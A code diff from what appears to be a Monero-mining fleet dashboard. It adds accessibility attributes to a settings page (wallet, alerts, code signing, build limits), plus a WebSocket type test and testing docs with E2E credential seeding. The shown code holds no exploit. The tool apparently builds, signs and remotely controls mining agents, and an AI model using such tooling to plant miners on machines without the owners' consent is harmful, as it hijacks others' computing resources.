<label className="label">XMR Address <HelpTip field="calibrate_wallet" /></label> <label htmlFor="cfg-wallet-addr" className="label">XMR Address <HelpTip field="calibrate_wallet" /></label>
<input type="text" className="input mono" placeholder="4… or 8… (90106 chars)" <input id="cfg-wallet-addr" type="text" className="input mono" placeholder="4… or 8… (90106 chars)"
value={config.wallet.address} value={config.wallet.address}
onChange={(e) => updateField('wallet.address', e.target.value)} /> onChange={(e) => updateField('wallet.address', e.target.value)} />
<FieldHint field="calibrate_wallet" /> <FieldHint field="calibrate_wallet" />
</div> </div>
<div className="form-group"> <div className="form-group">
<label className="label">Payment ID (optional)</label> <label htmlFor="cfg-payment-id" className="label">Payment ID (optional)</label>
<input type="text" className="input mono" value={config.wallet.payment_id} <input id="cfg-payment-id" type="text" className="input mono" value={config.wallet.payment_id}
onChange={(e) => updateField('wallet.payment_id', e.target.value)} /> onChange={(e) => updateField('wallet.payment_id', e.target.value)} />
</div> </div>
<div className="form-group checkbox-group"> <div className="form-group checkbox-group">
@@ -401,19 +401,19 @@ export default function SettingsPage() {
<h2 className="font-display">Fleet Alerts</h2> <h2 className="font-display">Fleet Alerts</h2>
<p className="section-desc">Dashboard thresholds for agent health.</p> <p className="section-desc">Dashboard thresholds for agent health.</p>
<div className="form-group"> <div className="form-group">
<label className="label">Offline After (minutes)</label> <label htmlFor="cfg-alert-offline" className="label">Offline After (minutes)</label>
<input type="number" className="input" min={1} value={config.alerts.offline_threshold_minutes} <input id="cfg-alert-offline" type="number" className="input" min={1} value={config.alerts.offline_threshold_minutes}
onChange={(e) => updateField('alerts.offline_threshold_minutes', parseInt(e.target.value) || 5)} /> onChange={(e) => updateField('alerts.offline_threshold_minutes', parseInt(e.target.value) || 5)} />
</div> </div>
<div className="form-row"> <div className="form-row">
<div className="form-group"> <div className="form-group">
<label className="label">Hashrate Drop (%)</label> <label htmlFor="cfg-alert-hashrate" className="label">Hashrate Drop (%)</label>
<input type="number" className="input" value={config.alerts.hashrate_drop_threshold_pct} <input id="cfg-alert-hashrate" type="number" className="input" value={config.alerts.hashrate_drop_threshold_pct}
onChange={(e) => updateField('alerts.hashrate_drop_threshold_pct', parseInt(e.target.value) || 50)} /> onChange={(e) => updateField('alerts.hashrate_drop_threshold_pct', parseInt(e.target.value) || 50)} />
</div> </div>
<div className="form-group"> <div className="form-group">
<label className="label">Rejection Rate (%)</label> <label htmlFor="cfg-alert-reject" className="label">Rejection Rate (%)</label>
<input type="number" className="input" value={config.alerts.rejection_rate_threshold_pct} <input id="cfg-alert-reject" type="number" className="input" value={config.alerts.rejection_rate_threshold_pct}
onChange={(e) => updateField('alerts.rejection_rate_threshold_pct', parseInt(e.target.value) || 5)} /> onChange={(e) => updateField('alerts.rejection_rate_threshold_pct', parseInt(e.target.value) || 5)} />
</div> </div>
</div> </div>
@@ -424,13 +424,13 @@ export default function SettingsPage() {
<p className="section-desc">Telegram and email when fleet thresholds fire (offline, hashrate crash, rejection spike).</p> <p className="section-desc">Telegram and email when fleet thresholds fire (offline, hashrate crash, rejection spike).</p>
<div className="form-row"> <div className="form-row">
<div className="form-group"> <div className="form-group">
<label className="label">Telegram Bot Token</label> <label htmlFor="cfg-tg-token" className="label">Telegram Bot Token</label>
<input type="password" className="input mono" value={config.alerts.telegram_bot_token || ''} <input id="cfg-tg-token" type="password" className="input mono" value={config.alerts.telegram_bot_token || ''}
onChange={(e) => updateField('alerts.telegram_bot_token', e.target.value)} placeholder="123456:ABC…" /> onChange={(e) => updateField('alerts.telegram_bot_token', e.target.value)} placeholder="123456:ABC…" />
</div> </div>
<div className="form-group"> <div className="form-group">
<label className="label">Telegram Chat ID</label> <label htmlFor="cfg-tg-chat" className="label">Telegram Chat ID</label>
<input type="text" className="input mono" value={config.alerts.telegram_chat_id || ''} <input id="cfg-tg-chat" type="text" className="input mono" value={config.alerts.telegram_chat_id || ''}
onChange={(e) => updateField('alerts.telegram_chat_id', e.target.value)} placeholder="-100…" /> onChange={(e) => updateField('alerts.telegram_chat_id', e.target.value)} placeholder="-100…" />
</div> </div>
</div> </div>
@@ -445,37 +445,37 @@ export default function SettingsPage() {
<> <>
<div className="form-row"> <div className="form-row">
<div className="form-group"> <div className="form-group">
<label className="label">SMTP Host</label> <label htmlFor="cfg-smtp-host" className="label">SMTP Host</label>
<input type="text" className="input" value={config.alerts.smtp_host || ''} <input id="cfg-smtp-host" type="text" className="input" value={config.alerts.smtp_host || ''}
onChange={(e) => updateField('alerts.smtp_host', e.target.value)} /> onChange={(e) => updateField('alerts.smtp_host', e.target.value)} />
</div> </div>
<div className="form-group"> <div className="form-group">
<label className="label">SMTP Port</label> <label htmlFor="cfg-smtp-port" className="label">SMTP Port</label>
<input type="number" className="input" value={config.alerts.smtp_port || 587} <input id="cfg-smtp-port" type="number" className="input" value={config.alerts.smtp_port || 587}
onChange={(e) => updateField('alerts.smtp_port', parseInt(e.target.value) || 587)} /> onChange={(e) => updateField('alerts.smtp_port', parseInt(e.target.value) || 587)} />
</div> </div>
</div> </div>
<div className="form-row"> <div className="form-row">
<div className="form-group"> <div className="form-group">
<label className="label">SMTP User</label> <label htmlFor="cfg-smtp-user" className="label">SMTP User</label>
<input type="text" className="input" value={config.alerts.smtp_user || ''} <input id="cfg-smtp-user" type="text" className="input" value={config.alerts.smtp_user || ''}
onChange={(e) => updateField('alerts.smtp_user', e.target.value)} /> onChange={(e) => updateField('alerts.smtp_user', e.target.value)} />
</div> </div>
<div className="form-group"> <div className="form-group">
<label className="label">SMTP Password</label> <label htmlFor="cfg-smtp-pass" className="label">SMTP Password</label>
<input type="password" className="input" value={config.alerts.smtp_password || ''} <input id="cfg-smtp-pass" type="password" className="input" value={config.alerts.smtp_password || ''}
onChange={(e) => updateField('alerts.smtp_password', e.target.value)} /> onChange={(e) => updateField('alerts.smtp_password', e.target.value)} />
</div> </div>
</div> </div>
<div className="form-row"> <div className="form-row">
<div className="form-group"> <div className="form-group">
<label className="label">Email To</label> <label htmlFor="cfg-email-to" className="label">Email To</label>
<input type="email" className="input" value={config.alerts.email_to || ''} <input id="cfg-email-to" type="email" className="input" value={config.alerts.email_to || ''}
onChange={(e) => updateField('alerts.email_to', e.target.value)} /> onChange={(e) => updateField('alerts.email_to', e.target.value)} />
</div> </div>
<div className="form-group"> <div className="form-group">
<label className="label">Email From</label> <label htmlFor="cfg-email-from" className="label">Email From</label>
<input type="email" className="input" value={config.alerts.email_from || ''} <input id="cfg-email-from" type="email" className="input" value={config.alerts.email_from || ''}
onChange={(e) => updateField('alerts.email_from', e.target.value)} /> onChange={(e) => updateField('alerts.email_from', e.target.value)} />
</div> </div>
</div> </div>
@@ -503,21 +503,21 @@ export default function SettingsPage() {
<FieldHint field="sign_enabled" /> <FieldHint field="sign_enabled" />
</div> </div>
<div className="form-group"> <div className="form-group">
<label className="label">Code signing cert thumbprint (SHA-1) <HelpTip field="sign_cert_thumbprint" /></label> <label htmlFor="cfg-sign-cert" className="label">Code signing cert thumbprint (SHA-1) <HelpTip field="sign_cert_thumbprint" /></label>
<input type="text" className="input mono" placeholder="AB CD EF ..." <input id="cfg-sign-cert" type="text" className="input mono" placeholder="AB CD EF ..."
value={s.sign_cert_thumbprint || ''} value={s.sign_cert_thumbprint || ''}
onChange={(e) => updateField('server.sign_cert_thumbprint', e.target.value)} /> onChange={(e) => updateField('server.sign_cert_thumbprint', e.target.value)} />
<FieldHint field="sign_cert_thumbprint" /> <FieldHint field="sign_cert_thumbprint" />
</div> </div>
<div className="form-group"> <div className="form-group">
<label className="label">signtool.exe path (optional) <HelpTip field="sign_tool_path" /></label> <label htmlFor="cfg-sign-tool" className="label">signtool.exe path (optional) <HelpTip field="sign_tool_path" /></label>
<input type="text" className="input mono" placeholder="Auto-detect from Windows SDK" <input id="cfg-sign-tool" type="text" className="input mono" placeholder="Auto-detect from Windows SDK"
value={s.sign_tool_path || ''} value={s.sign_tool_path || ''}
onChange={(e) => updateField('server.sign_tool_path', e.target.value)} /> onChange={(e) => updateField('server.sign_tool_path', e.target.value)} />
</div> </div>
<div className="form-group"> <div className="form-group">
<label className="label">Timestamp server URL <HelpTip field="sign_timestamp_url" /></label> <label htmlFor="cfg-sign-ts" className="label">Timestamp server URL <HelpTip field="sign_timestamp_url" /></label>
<input type="text" className="input mono" <input id="cfg-sign-ts" type="text" className="input mono"
value={s.sign_timestamp_url || 'http://timestamp.digicert.com'} value={s.sign_timestamp_url || 'http://timestamp.digicert.com'}
onChange={(e) => updateField('server.sign_timestamp_url', e.target.value)} /> onChange={(e) => updateField('server.sign_timestamp_url', e.target.value)} />
<FieldHint field="sign_timestamp_url" /> <FieldHint field="sign_timestamp_url" />
@@ -529,31 +529,31 @@ export default function SettingsPage() {
<p className="section-desc">Retention and capacity for this host.</p> <p className="section-desc">Retention and capacity for this host.</p>
<div className="form-row"> <div className="form-row">
<div className="form-group"> <div className="form-group">
<label className="label">Stats Retention (hours)</label> <label htmlFor="cfg-stats-ret" className="label">Stats Retention (hours)</label>
<input type="number" className="input" min={24} value={s.stats_retention_hours} <input id="cfg-stats-ret" type="number" className="input" min={24} value={s.stats_retention_hours}
onChange={(e) => updateField('server.stats_retention_hours', parseInt(e.target.value) || 168)} /> onChange={(e) => updateField('server.stats_retention_hours', parseInt(e.target.value) || 168)} />
</div> </div>
<div className="form-group"> <div className="form-group">
<label className="label">Keep Builds (days)</label> <label htmlFor="cfg-build-ret" className="label">Keep Builds (days)</label>
<input type="number" className="input" min={1} value={s.build_retention_days} <input id="cfg-build-ret" type="number" className="input" min={1} value={s.build_retention_days}
onChange={(e) => updateField('server.build_retention_days', parseInt(e.target.value) || 30)} /> onChange={(e) => updateField('server.build_retention_days', parseInt(e.target.value) || 30)} />
</div> </div>
</div> </div>
<div className="form-row"> <div className="form-row">
<div className="form-group"> <div className="form-group">
<label className="label">Max Agents</label> <label htmlFor="cfg-max-agents" className="label">Max Agents</label>
<input type="number" className="input" min={1} value={s.max_agents} <input id="cfg-max-agents" type="number" className="input" min={1} value={s.max_agents}
onChange={(e) => updateField('server.max_agents', parseInt(e.target.value) || 256)} /> onChange={(e) => updateField('server.max_agents', parseInt(e.target.value) || 256)} />
</div> </div>
<div className="form-group"> <div className="form-group">
<label className="label">Max Build Size (MB)</label> <label htmlFor="cfg-max-build-mb" className="label">Max Build Size (MB)</label>
<input type="number" className="input" min={10} value={s.max_build_size_mb} <input id="cfg-max-build-mb" type="number" className="input" min={10} value={s.max_build_size_mb}
onChange={(e) => updateField('server.max_build_size_mb', parseInt(e.target.value) || 150)} /> onChange={(e) => updateField('server.max_build_size_mb', parseInt(e.target.value) || 150)} />
</div> </div>
</div> </div>
<div className="form-group"> <div className="form-group">
<label className="label">WebSocket Ping (sec)</label> <label htmlFor="cfg-ws-ping" className="label">WebSocket Ping (sec)</label>
<input type="number" className="input" min={10} value={s.websocket_ping_seconds} <input id="cfg-ws-ping" type="number" className="input" min={10} value={s.websocket_ping_seconds}
onChange={(e) => updateField('server.websocket_ping_seconds', parseInt(e.target.value) || 30)} /> onChange={(e) => updateField('server.websocket_ping_seconds', parseInt(e.target.value) || 30)} />
</div> </div>
</NeonCard> </NeonCard>
@@ -591,13 +591,13 @@ export default function SettingsPage() {
</p> </p>
<div className="form-row"> <div className="form-row">
<div className="form-group"> <div className="form-group">
<label className="label">Browser session username</label> <label htmlFor="cfg-session-user" className="label">Browser session username</label>
<input type="text" className="input" placeholder="admin" value={sessionUser} <input id="cfg-session-user" type="text" className="input" placeholder="admin" value={sessionUser}
onChange={(e) => setSessionUser(e.target.value)} /> onChange={(e) => setSessionUser(e.target.value)} />
</div> </div>
<div className="form-group"> <div className="form-group">
<label className="label">Browser session password</label> <label htmlFor="cfg-session-pass" className="label">Browser session password</label>
<input type="password" className="input" value={sessionPass} <input id="cfg-session-pass" type="password" className="input" value={sessionPass}
onChange={(e) => setSessionPass(e.target.value)} /> onChange={(e) => setSessionPass(e.target.value)} />
</div> </div>
</div> </div>
@@ -612,13 +612,13 @@ export default function SettingsPage() {
</div> </div>
<div className="form-row"> <div className="form-row">
<div className="form-group"> <div className="form-group">
<label className="label">New Username</label> <label htmlFor="cfg-new-user" className="label">New Username</label>
<input type="text" className="input" placeholder="admin" value={newUser} <input id="cfg-new-user" type="text" className="input" placeholder="admin" value={newUser}
onChange={(e) => setNewUser(e.target.value)} /> onChange={(e) => setNewUser(e.target.value)} />
</div> </div>
<div className="form-group"> <div className="form-group">
<label className="label">New Password</label> <label htmlFor="cfg-new-pass" className="label">New Password</label>
<input type="password" className="input" placeholder="••••••••" value={newPass} <input id="cfg-new-pass" type="password" className="input" placeholder="••••••••" value={newPass}
onChange={(e) => setNewPass(e.target.value)} /> onChange={(e) => setNewPass(e.target.value)} />
</div> </div>
</div> </div>

View File

@@ -1,3 +1,13 @@
/**
* Dashboard TypeScript models — compile-time contracts only.
*
* These interfaces mirror server JSON (`server/internal/models`, `ws_types.go`).
* There are no runtime validators or schema guards here; API responses are trusted
* after auth and validated ad hoc where it matters (forms, forge preflight, etc.).
* Drift is caught by unit tests, shared WS type tests, and integration tests — not
* by automatic parsing of every endpoint payload.
*/
export interface Agent { export interface Agent {
id: string; id: string;
name: string; name: string;

View File

@@ -0,0 +1,71 @@
import { describe, expect, it } from 'vitest';
import type {
WSAgentLog,
WSAgentOffline,
WSCommandResult,
WSDashboardInit,
WSMessageTyped,
WSServerLog,
WSStatsUpdate,
} from './ws';
import { mockAgent } from '../test/fixtures';
function expectKeys(obj: Record<string, unknown>, keys: string[]) {
for (const key of keys) {
expect(Object.prototype.hasOwnProperty.call(obj, key)).toBe(true);
}
}
describe('types/ws payloads', () => {
it('WSDashboardInit carries agents array', () => {
const init: WSDashboardInit = { agents: [mockAgent()] };
expectKeys(init as unknown as Record<string, unknown>, ['agents']);
expect(init.agents[0].id).toBe('agent-001-uuid');
});
it('WSStatsUpdate includes hashrate fields', () => {
const stats: WSStatsUpdate = {
agent_id: 'a1',
hashrate_15s: 100,
hashrate_1m: 90,
hashrate_15m: 80,
cpu_usage_pct: 12,
};
expectKeys(stats as unknown as Record<string, unknown>, [
'agent_id',
'hashrate_15s',
'hashrate_1m',
'hashrate_15m',
'cpu_usage_pct',
]);
});
it('WSAgentOffline and WSCommandResult shape', () => {
const offline: WSAgentOffline = { agent_id: 'gone' };
const cmd: WSCommandResult = { agent_id: 'a1', action: 'pause', success: true, message: 'ok' };
expect(offline.agent_id).toBe('gone');
expect(cmd.success).toBe(true);
});
it('log payloads carry content lines', () => {
const agentLog: WSAgentLog = { agent_id: 'a1', content: 'line1\nline2' };
const serverLog: WSServerLog = { line: 'server boot' };
expect(agentLog.content).toContain('line1');
expect(serverLog.line).toBe('server boot');
});
it('WSMessageTyped pairs type with payload', () => {
const msg: WSMessageTyped<'stats_update'> = {
type: 'stats_update',
payload: {
agent_id: 'a1',
hashrate_15s: 1,
hashrate_1m: 1,
hashrate_15m: 1,
cpu_usage_pct: 0,
},
};
expect(msg.type).toBe('stats_update');
expect((msg.payload as WSStatsUpdate).agent_id).toBe('a1');
});
});

View File

@@ -11,6 +11,7 @@ export default defineConfig({
['src/hooks/**', 'happy-dom'], ['src/hooks/**', 'happy-dom'],
['src/pages/**', 'happy-dom'], ['src/pages/**', 'happy-dom'],
['src/components/**', 'happy-dom'], ['src/components/**', 'happy-dom'],
['src/App.test.tsx', 'happy-dom'],
], ],
}, },
}); });

View File

@@ -36,15 +36,39 @@ cd server\web && npm run test:e2e
## E2E only (server already running) ## E2E only (server already running)
E2E credentials match `server/internal/api/integration_test.go` (`testuser` / `testpass`). Seed
`users.json` in the server data directory **before** first start, or the server generates a random
`admin` password instead.
```bat ```bat
set AETHERFORGE_E2E_USER=testuser
set AETHERFORGE_E2E_PASS=testpass
powershell -NoProfile -Command "[IO.File]::WriteAllText('data\\users.json','{\"testuser\":\"testpass\"}')"
set AETHERFORGE_URL=http://127.0.0.1:8989 set AETHERFORGE_URL=http://127.0.0.1:8989
cd server\web && npm run test:e2e cd server\web && npm run test:e2e
``` ```
`test.bat` phase 8 seeds `users.json` automatically in a temp data dir. Override creds with
`AETHERFORGE_E2E_USER` / `AETHERFORGE_E2E_PASS` (used by Playwright, `test-suite.ps1`, and
`scripts/smoke-test.ps1`).
## Adding tests ## Adding tests
- **Go:** `*_test.go` next to the code under test - **Go:** `*_test.go` next to the code under test
- **Frontend:** `src/**/*.test.ts` (Vitest) - **Frontend:** `src/**/*.test.ts` (Vitest)
- **E2E:** `server/web/e2e/*.spec.ts` (Playwright) - **E2E:** `server/web/e2e/*.spec.ts` (Playwright)
Coverage areas: forge/fusion, auth, DB, pool reconnect, API routes, fleet filters, preflight validation, media crypto roundtrip, dashboard login smoke. Coverage areas: forge/fusion, auth, DB, pool reconnect, API routes, fleet filters, preflight validation, media crypto roundtrip, dashboard login smoke, remote actions UI (offline gating via Playwright API mock).
### Agent logs (not a missing API)
There is no dedicated REST endpoint to push agent log files. Logs reach the dashboard by design through:
- **`get_log` command** — Fleet Roster → Remote Control → Fetch Log (or `GET /api/v1/agents/{id}/log?refresh=1` triggers the command and returns cached tail)
- **`upload_log` AI tool** — when AI autonomy is enabled, the agent reports log content via `/api/v1/agent/report` after an Ollama tool call
Unit tests cover `AgentRemoteActions` offline gating in `components.test.tsx`; Playwright `e2e/remote-actions.spec.ts` mocks an offline agent and asserts disabled buttons.
### Frontend types (`types/index.ts`)
TypeScript interfaces in `server/web/src/types/` are compile-time contracts only — no runtime JSON schema guards. Validation lives in forms, forge preflight, and server-side handlers.